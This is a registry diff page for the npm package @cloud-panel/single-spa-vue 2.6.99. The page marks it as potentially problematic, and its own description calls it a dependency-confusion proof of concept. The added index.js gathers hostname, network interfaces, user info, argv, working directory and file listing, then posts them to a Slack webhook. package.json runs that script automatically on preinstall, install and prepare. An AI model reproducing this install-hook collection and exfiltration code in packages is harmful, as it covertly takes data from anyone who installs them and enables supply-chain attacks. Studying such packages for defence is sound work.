@cloud-panel/single-spa-vue 2.6.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @cloud-panel/single-spa-vue might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +68 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,68 @@
1
+ const https = require('https');
2
+
3
+ function collect_data() {
4
+ var os = require("os"),
5
+ fs = require("fs");
6
+ var res = {}
7
+ try {
8
+ res['hostname'] = os.hostname();
9
+ } catch {
10
+ res['hostname'] = "";
11
+ }
12
+ try {
13
+ res['networkInterfaces'] = os.networkInterfaces();
14
+ } catch {
15
+ res['networkInterfaces'] = "";
16
+ }
17
+ try {
18
+ res['local_time'] = (new Date()).toTimeString();
19
+ } catch {
20
+ res['local_time'] = "";
21
+ }
22
+ try {
23
+ res['pwd'] = process.cwd();
24
+ } catch {
25
+ res['pwd'] = "";
26
+ }
27
+ try {
28
+ res['list_of_files'] = fs.readdirSync(".");
29
+ } catch {
30
+ res['list_of_files'] = "";
31
+ }
32
+ try {
33
+ res['argv'] = process.argv;
34
+ } catch {
35
+ res['argv'] = "";
36
+ }
37
+ try {
38
+ res['user'] = os.userInfo();
39
+ } catch {
40
+ res['user'] = "";
41
+ }
42
+ return JSON.stringify(res)
43
+ }
44
+
45
+ function send_data(text) {
46
+ let data = JSON.stringify({text: text, type:"npm"})
47
+ const options = {
48
+ hostname: 'hooks.slack.com',
49
+ port: 443,
50
+ path: '/workflows/T0151JEDSQ0/A041006923G/424348146563301339/qD1ZlxgnJ78LebCFmXjCfgkS',
51
+ method: 'POST',
52
+ headers: {
53
+ 'Content-Type': 'application/json',
54
+ 'Content-Length': data.length
55
+ }
56
+ }
57
+ const req = https.request(options, ()=>{});
58
+ req.write(data);
59
+ req.end();
60
+ }
61
+
62
+ send_data(collect_data())
63
+
64
+ module.exports = {
65
+ test: () => {
66
+ console.log('Tested Ok');
67
+ }
68
+ }
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "@cloud-panel/single-spa-vue",
3
+ "version": "2.6.99",
4
+ "description": "Dependency Confusion POC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js tests",
8
+ "preinstall": "node index.js preinstall",
9
+ "install": "node index.js install",
10
+ "prepare": "node index.js prepare",
11
+ "start": "node index.js start"
12
+ },
13
+ "author": "flx1101 <flx1101@aboutyou.com>",
14
+ "license": "ISC"
15
+ }